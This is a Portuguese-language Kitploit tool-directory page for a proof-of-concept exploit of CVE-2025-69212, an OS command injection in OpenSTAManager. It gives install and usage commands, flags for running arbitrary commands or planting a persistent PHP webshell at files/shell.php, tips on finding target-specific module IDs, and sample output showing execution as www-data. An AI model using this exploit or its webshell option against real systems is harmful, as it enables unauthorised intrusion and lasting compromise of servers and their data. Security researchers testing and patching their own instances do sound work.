Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-69212-PoC — CVE-2025-69212 - PoC de Injeção de Comandos do SO no OpenSTAManager | Kitploit
Ferramentas/GitHubGitHub/alaeddine03/cve-2025-69212-poc
Geração de PayloadsExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e Controle
GitHubalaeddine03/cve-2025-69212-poc

CVE-2025-69212-PoC

CVE-2025-69212 - PoC de Injeção de Comandos do SO no OpenSTAManager

Ver Repositório
48há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-69212 - OpenSTAManager - Injeção de Comandos do SO PoC

Uso

Instalar dependências:

root@kitploit:~
pip install -r requirements.txt

Executar um único comando e mostrar sua saída:

root@kitploit:~
python3 cve-2025-69212_poc.py -u http://target.com -U admin -P 'password' -c 'id'

Inserir um webshell PHP persistente:

root@kitploit:~
python3 cve-2025-69212_poc.py -u http://target.com -U admin -P 'password' --shell

Opções

FlagDescrição
-u, --urlURL base da instância alvo
-U, --usernameNome de usuário para autenticação
-P, --passwordSenha para autenticação
-c, --commandComando a executar, saída salva em pwn_out.txt
--shellInserir um webshell PHP em files/shell.php em vez de executar um único comando
--id-moduleID do módulo para o recurso de importação de faturas (padrão: 14)
--id-pluginID do plugin para o recurso de importação de faturas (padrão: 48)

id_module e id_plugin são específicos da instância. Se os padrões não funcionarem, faça login na interface web do alvo, navegue até o recurso de importação de faturas eletrônicas e verifique os parâmetros da requisição na aba de rede do seu navegador.

Exemplo de Saída

root@kitploit:~
$ python3 cve-2025-69212_poc.py -u http://target.com -U admin -P 'password' -c 'id'
[*] Logging in as admin ...
[+] Authenticated.
[*] Building payload to run: id
[*] Uploading exploit ZIP to id_module=14 id_plugin=48 ...
[*] Server responded: HTTP 500 (500 after command execution is expected)
[*] Fetching command output from http://target.com/files/pwn_out.txt ...
[+] Command output:
--------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
--------------------------------------------------
Baixar ferramenta